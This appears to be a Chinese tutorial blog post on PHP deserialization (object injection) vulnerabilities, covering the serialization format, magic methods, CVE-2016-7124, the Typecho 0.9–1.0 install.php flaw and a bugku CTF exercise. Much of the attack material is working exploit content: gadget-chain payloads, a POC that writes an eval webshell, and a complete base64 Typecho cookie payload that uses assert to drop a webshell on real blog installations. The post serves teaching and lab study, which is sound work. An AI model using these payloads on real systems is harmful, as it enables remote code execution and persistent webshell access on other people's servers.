反序列化系列漏洞之PHP反序列化

admin 2023年5月9日18:22:29评论22 views字数 12627阅读42分5秒阅读模式
反序列化漏洞在众多场景中,均有所涉及,这里简单整理个反序列化的系列漏洞吧。如下图所示。每篇文章仅限测试,相关的测试案可能不全,有时间再补充吧。祝大家五一快乐!
反序列化系列漏洞之PHP反序列化

1、基本概念

序列化(串行化):将变量转换为可保存或传输的字符串的过程;

反序列化(反串行化):在适当的时候把这个字符串再转化成原来的变量使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

string serialize ( mixed $value )返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

数据类型:长度:名字:属性个数{数据类型:长度:名称1;数据类型:长度:值1;}

mixed unserialize ( string $str )对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

<?php // 序列化//定义一个类,类名是chybetaclass chybeta{  //定义一个变量  var $test = 123;}//new一个对象,实例化$class1 = new chybeta;//序列化创建的对象$class1_ser = serialize($class1);print_r($class1_ser); ?>

文件名code1.php,输出结果:

O:7:"chybeta":1:{s:4:"test";i:123;}

其中,O表示对象,7表示对象名chybeta的长度,chybeta是对象名,1表示有1个属性,{  }里面的参数有key和value,s表示是string对象,4表示长度,test是key,i表示是integer对象,123是value

可见PHP的序列化与JSON数据类似,将各种类型的数据,压缩并按照一定的格式储存起来,这样也方便传输。

在PHP中对不同类型的数据用不同的字母来标识:

a - arrayb - booleand - doublei - integero - common objectr - references - stringC - custom objectO - classN - nullR - pointer referenceU - unicode string

N 表示的是 NULL,而 b、d、i、s 表示的是四种标量类型,目前其它语言所实现的 PHP 序列化程序基本上都实现了对这些类型的序列化和反序列化,不过有一些实现中对 s (字符串)的实现存在问题。

a、O 属于最常用的复合类型,大部分其他语言的实现都很好的实现了对 a 的序列化和反序列化,但对 O 只实现了 PHP4 中对象序列化格式,而没有提供对 PHP 5 中扩展的对象序列化格式的支持。

r、R 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时就会产生带有这两个标示的数据,后面我们将详细讲解这两个标示,目前这两个标示尚没有发现有其他语言的实现。

C 是 PHP5 中引入的,它表示自定义的对象序列化方式,尽管这对于其它语言来说是没有必要实现的,因为很少会用到它,但是后面还是会对它进行详细讲解的。

U 是 PHP6 中才引入的,它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力,因此它提供了这种序列化字符串的格式,不过这个类型 PHP5、PHP4 都不支持,而这两个版本目前是主流,因此在其它语言实现该类型时,不推荐用它来进行序列化,不过可以实现它的反序列化过程。在后面我也会对它的格式进行说 明。

o标示在 PHP3 中被引入用来序列化对象,到了 PHP4 以后就被 O 取代了。在 PHP3 的源代码中可以看到对 o 的序列化和反序列化与数组 a 基本上是一样的。但是在 PHP4、PHP5 和 PHP6 的源代码中序列化部分里都找不到它。

<?phpclass demo{    private $test = 'cream';}$object = new demo();$uns = serialize($object);echo $uns;?>

文件名code2.php,测试结果:

O:4:"demo":1:{s:10:"demotest";s:5:"cream";}

注意:源代码中的属性名为,但是经过序列化后却变成了demotest,并且属性名的长度为10,不符合预期。这里涉及到 PHP 的属性的访问权限问题

我们知道属性访问权限有三个:private、protected、public,测试这三个属性的情况:

class demo{    public $test = 'hacker';    private $test2 = 'pentester';    protected $test3 = 'redhat';}$object = new demo();$uns = serialize($object);echo $uns;?>

文件名code3.php,测试结果:

O:4:"demo":3:{s:4:"test";s:6:"hacker";s:11:"demotest2";s:9:"pentester";s:8:"*test3";s:6:"redhat";

(1)public,该属性序列化后的结果正常,在预期之内;

(2)private,私有权限,也就是说该属性只能由类使用,为了区别,在序列化后,private属性会在自己的名字前面加上自己所属的类名,也即变成了demotest2,但是其长度为啥是11呢?写到文件使用HEXDUMP查看便知。

反序列化系列漏洞之PHP反序列化

根据结果表明:私有属性在序列后类名前后均有%00,也即%00类名%00属性名

(3)protected,该属性和private有些类似,但是长度怎么计算呢?看上图便知!protected在序列化时序列化后的结果是%00*%00属性名

<?phpclass demo{    public $test = 'hacker';    private $test2 = 'pentester';    protected $test3 = 'redhat';
public function test4($test){ $this->test4 = $test; } public function test5($test){ return $this->test; }
}$object = new demo();$uns = serialize($object);echo $uns;?>

文件名code4.php,测试结果:

O:4:"demo":3:{s:4:"test";s:6:"hacker";s:11:"demotest2";s:9:"pentester";s:8:"*test3";s:6:"redhat";}

发现和code3.php的测试结果一样,说明定义的方法不影响序列化的结果,总之:序列化只序列化属性,不序列化方法

<?php//定义一个类userclass User{  //定义两个变量  public $age=0;  public $name='';  //定义一个方法  public function PrintDate(){    echo 'User '.$this->name.' is '.$this->age.' years old.<br />';  }}//反序列化/*$xiaoming=new User();$xiaoming->age=20;$xiaoming->name=”zhangxiaoming”;$xiaoming->PrintDate();*/
$user =unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:13:"zhangxiaoming";}');//调用PrintDate函数Var_dump($user);$user->PrintDate();?>

文件名code5.php,测试结果:

object(User)#1 (2) {  ["age"]=>  int(20)  ["name"]=>  string(13) "zhangxiaoming"}User zhangxiaoming is 20 years old.<br/>

注意:

  • 在反序列化的过程中必须保证当前作用域下类是存在的,否则无法完成反序列化操作。

  • 反序列化之后的对象在文件执行结束后就会被销毁


2、反序列化漏洞

PHP的反序列化漏洞又可以叫做 PHP对象注入漏洞,这种思想类似SQL注入,在unserialize接受的参数可控的情况下,通过注入我们可控的属性值,来控制类中的方法(危险函数)的执行,从而造成安全隐患。

魔法函数

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。

  • __construct(构造函数)当一个对象创建时被调用;

  • __destruct(析构函数)当一个对象销毁时被调;

  • __toString当一个对象被当作一个字符串使用;

  • __sleep magic方法在一个对象被序列化的时候调用;

  • __wakeup magic方法在一个对象被反序列化的时候调用。

等等

<?php//定义一个类,名为TestClassclass TestClass {  //定义一个变量  public $variable='this is a string!';  //定义一个方法  public function PrintVariable(){    echo $this->variable.'<br/>';  }  public function __construct(){    echo '__construct<br />';  }  public function __destruct(){    echo '__destruct<br />';  }  public function __toString(){    return '__toString<br />';    }}//创建一个对象//__construct会被调用$object =new TestClass();//调用对象下的方法$object->PrintVariable();//对象被当做一个字符串//__tostring会被调用echo $object;//脚本结束了,__destuct会被调用?>

文件名是code6.php,测试结果是

__construct<br />this is a string!<br/>__toString<br />__destruct<br />

反序列化系列漏洞之PHP反序列化

<?php  //定义类class Test    {     //定义两个变量    public $variable1 = 'BUZZ';        public $variable2 = 'OTHER';     //定义方法    public function PrintVariable()    {            echo $this->variable1. '<br />';        }        public function __construct()    {            echo '__construct<br />';        }        public function __destruct()    {            echo '__destruct<br />';        }        public function __wakeup()    {            echo '__wakeup<br />';        }        public function __sleep()    {            echo '__sleep<br />';            //return array('variable', 'variable2');        }    }    // 创建对象调用__construct  $obj = new Test();    // 序列化对象调用__sleep    $serialized = serialize($obj);    // 输出序列化后的字符串    print 'Serialized: ' . $serialized . '<br />';    // 重建对象调用__wakeup    $obj2 = unserialize($serialized);    // 调用PintVariable输出数据   $obj2->PrintVariable();    // 脚本结束调用__destruct     ?>   

文件名是code7.php,测试结果是:

反序列化系列漏洞之PHP反序列化

安全问题

现在我们了解序列化是如何工作的,但是我们如何利用它呢?有多种可能的方法,取决于应用程序、可用的类和magic函数。记住,序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类,这些函数会影响Web应用程序。例如,我们可能会找 到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为code8.php。

<?php     class LogFile    {        // log文件名        public $filename = 'error.log';        // 储存日志文件        public function LogData($text)    {            echo 'Log some data: ' . $text . '<br />';            file_put_contents($this->filename, $text, FILE_APPEND);        }        public function __wakeup(){        echo '__wakeup deletes "' . $this->filename . '" file. <br />';           @unlink(dirname(__FILE__) . '/' . $this->filename);     }}    $demo=unserialize($_POST["str"]);?>   

文件名code8.php,上述代码可以删除服务器中任意文件

http://localhost/code6.php?str=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}
<?phpclass magic_test {    private $test;    public $magic = "This is a magic function";    function __construct() {        $this->test = new L();    }
function __destruct() { $this->test->action(); }}
class L { function action(){ echo "Magic function is so funny"; }}
class Evil { var $test2; function action() { eval($this->test2); }}unserialize($_GET['test']);?>

文件名code9.php,首先看到了参数可控的unserialize,接着看到magic_test类中存在两个魔术方法 __construct和__destruct,其中看到__destruct方法调用了action(),往下看,发现 L 类中存在action但是仅仅是做了打印的操作,没什么利用点,再看Evil方法,发现action调用了敏感操作函数eval,因此,要是我们能够控制test2的值,就能实现任意命令执行,完成攻击。【https://annevi.cn/2019/04/20/php反序列化学习总结/】

在magic_test和Evil,接着我们控制 magic_test中的属性 test的值,为了执行代码,我们将test篡改为Evil的对象,并且篡改Evil的属性 test2为我们需要执行的代码。

构造payload如下:

<?phpclass magic_test{    private $test;    public function __construct(){        $this->test = new Evil();    }}
class Evil{ var $test2 = 'phpinfo();';}
$obj = new magic_test();$data = serialize($obj);echo $data;?>

文件名是code-payload.php,测试结果是:

O:10:"magic_test":1:{s:16:"magic_testtest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

提交测试:

http://127.0.0.1/code9.php?test=O:10:"magic_test":1:{s:16:"magic_testtest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

反序列化系列漏洞之PHP反序列化

报错没有结果,找找原因,注意magic_test类下的$test是私有的,序列化的结果应该是%00magic_test%00test,也即发送POC是:

O:10:"magic_test":1:{s:16:"%00magic_test%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

反序列化系列漏洞之PHP反序列化

在上课的时候,有小伙伴提到在构造payload,想到使用下面的方法:

<?phpclass magic_test{    public  $test; #这里权限修饰本来是private,为了方便赋值,先修改成public!    }
class Evil{ var $test2 = 'phpinfo();';}
$e=new Evil();$ser_e= serialize($e);$obj = new magic_test();$obj->test=$ser_e;$data = serialize($obj);echo $data;?>

得到的结果是:

O:10:"magic_test":1:{s:4:"test";s:45:"O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}";}
test属性访问权限换成private之后,得到结果需要修改为:
O:10:"magic_test":1:{s:16:"magic_testtest";s:45:"O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}";}

在前端提交时,需要在magic_test前后加%00,也即:

O:10:"magic_test":1:{s:16:"%00magic_test%00test";s:45:"O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}";}

例外,以上结果中test的值是一个字符串,为了让test能够调用Evil中action方法,需要的是Evil对象,所以需要变换为如下的形式:

O:10:"magic_test":1:{s:16:"%00magic_test%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

除了上述的魔法函数,还有如下的函数:

  • __call()是在对象上下文中调用不可访问的方法时触发

  • __callStatic()是在静态上下文中调用不可访问的方法时触发。

  • __get()用于从不可访问的属性读取数据。

  • __set()用于将数据写入不可访问的属性。

  • __isset()在不可访问的属性上调用isset()或empty()触发。

  • __unset()在不可访问的属性上使用unset()时触发。

  • __invoke()当脚本尝试将对象调用为函数时,调用__invoke()方法。


PHP反序列化漏洞原理归纳:

1、 参数用户可控;

2、 服务器中代码定义了魔术函数(__wakeup,__sleep,__construct/__destruct/__tostring等),并且该魔术函数中有危险函数,如命令执行类(exec/passthru/popen/system等)和文件操作类(file_put_contents/file_get_contents/unlink等)等函数;

3、 用户输入的数据(序列化之后的字符串)未经过滤或者过滤不严谨到达该危险函数,最后执行用户的输入。


3、CVE-2016-7124

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

<?phpclass A{  public $a = "test";  public $b="hello";  function __destruct(){    $fp = @fopen("/var/www/html/".$this->b.".php","w");    echo "/var/www/html/".$this->b.".php";    @fputs($fp,$this->a);    @fclose($fp);  }  function __wakeup(){          foreach(get_object_vars($this) as $k => $v) {                $this->$k = null;          }          echo "Waking up...n"."<br/>";      }}$test = @$_POST['po'];$test_unser = @unserialize($test);//对象//po=O:1:"A":2:{s:1:"a";s:18:"<?php phpinfo();?>";s:1:"b";s:5:"shell"

如下的代码也可以练习:

反序列化系列漏洞之PHP反序列化

根据CVE-2016-7124构造POC,如下

<?phpclass Test{        private $poc = '';        public function __construct($poc){            $this->poc = $poc;        }        function __destruct(){            if ($this->poc != '')            {                file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');                die('Success!!!');            }            else            {                die('fail to getshell!!!');            }                }        function __wakeup(){            foreach(get_object_vars($this) as $k => $v)            {                $this->$k = null;            }            echo "waking up...n";        }    }$a = new Test('shell');$poc = serialize($a);print($poc);

运行poc.php,得到结果如下:

反序列化系列漏洞之PHP反序列化

http://localhost/Serialization_vulnerability/CVE_2016_7124/demo.php?poc=O:4:"Test":1:{s:9:"Test poc";s:5:"shell";}

反序列化系列漏洞之PHP反序列化

接下来需要修改两个方面:

  • 将1改为大于1的任何整数

  • 将Testpoc改为%00Test%00poc


http://localhost/Serialization_vulnerability/CVE_2016_7124/demo.php?poc=O:4:"Test":3:{s:9:"%00Test%00poc";s:5:"shell";}

反序列化系列漏洞之PHP反序列化

然后getshell,直接访问写的文件:

反序列化系列漏洞之PHP反序列化


4、Typecho反序列化漏洞

Typecho

Typecho是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序。基于PHP5开发,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,适用范围十分广泛。

漏洞介绍和复现

Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。通过利用install.php页面,直接远程构造恶意请求包,实现远程任意代码执行,对业务造成严重的安全风险。

影响版本:Typecho 0.9~1.0

漏洞的入口出现在install.php页面,代码如下:

//判断是否已经安装if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {    exit;}// 挡掉可能的跨站请求if (!empty($_GET) || !empty($_POST)) {    if (empty($_SERVER['HTTP_REFERER'])) {        exit;    }    $parts = parse_url($_SERVER['HTTP_REFERER']);    if (!empty($parts['port'])) {        $parts['host'] = "{$parts['host']}:{$parts['port']}";    }    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {        exit;    }}

上述代码经过了两次的判断,我们继续跟进,在install.php 232行~237行:

反序列化系列漏洞之PHP反序列化

出现一个比较明显的反序列化漏洞,首先获取到cookie中的__typecho_config值base64解码后,然后进行反序列化。想要执行,只需isset($_GET['finish'])并且__typecho_config存在值。反序列化后把config['adapter']和config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_Db的addServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。

Feed.php中__get()方法---->Request.php中的applyFilter函数----->call_user_func(代码执行)

复现漏洞

访问URL:

http://192.168.186.140/build/install.php?finish=1

使用BP进行抓包,如图:

反序列化系列漏洞之PHP反序列化

抓到包之后我们在BurpSuite点击右键,发送到Repeater,并将POC文件中的Cookie和Referer复制到BurpSuite中修改Referer的IP为192.168.186.140,如图所示。

反序列化系列漏洞之PHP反序列化

点击“GO”,可以看到

反序列化系列漏洞之PHP反序列化

POC:

Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==Referer:http://IP/install.php

也即:

a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:19:"Typecho_Feed_type";s:8:"ATOM 1.0";s:22:"Typecho_Feed_charset";s:5:"UTF-8";s:19:"Typecho_Feed_lang";s:2:"zh";s:20:"Typecho_Feed_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:57:"file_put_contents(’404.php', '<?php @eval($_POST[i]);?>')";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:7:"typecho";}

如图返回状态码为500的数据包就代表成功了。我们这时使用中国菜刀连接

反序列化系列漏洞之PHP反序列化

反序列化系列漏洞之PHP反序列化



5、bugku 文件包含和PHP反序列化漏洞CTF练习题


访问URL:http://192.168.2.101/,提示 you are not the number of bugku ! 查看页面源代码发现有当前页面的代码

反序列化系列漏洞之PHP反序列化

txt参数可以使用php://input绕过,效果如下

反序列化系列漏洞之PHP反序列化

然后需要包含file参数,但是需要包含文件需要做信息收集,index.php、hint.php、flag.php,三个页面。直接包含flag.php会提示“不能现在就给你flag哦”。所以可以试一试包含hint.php,里面的源码可以通过php://filter/convert.base64-encode/resource=hint.php查看。

反序列化系列漏洞之PHP反序列化

解密如下:

反序列化系列漏洞之PHP反序列化

查看hint.php以及index.php的代码我们可以知道,接下来需要使用反序列化去读取flag.php中数据。接下来需要构造password的值。

payload如下:

<?php  class Flag{//flag.php      public $file;      public function __tostring(){          if(isset($this->file)){              echo file_get_contents($this->file);       echo "<br>";    return ("good");        }      }  } $f = new Flag();$f->file="flag.php";echo serialize($f);?>

运行结果为:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

反序列化系列漏洞之PHP反序列化

http://192.168.2.101/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

反序列化系列漏洞之PHP反序列化

在源代码中可以看到flag{php_is_the_best_language}


Yii2反序列化漏洞

ThinkPHP5.0.24 反序列化

这两个案例后面有时间在写吧!

6、PHP反序列化漏洞的防御


1.要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则

2.要对于unserialize后的变量内容进行检查,以确定内容没有被污染





原文始发于微信公众号(SafetyTeam):反序列化系列漏洞之PHP反序列化

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月9日18:22:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化系列漏洞之PHP反序列化https://cn-sec.com/archives/1717625.html

发表评论

匿名网友 填写信息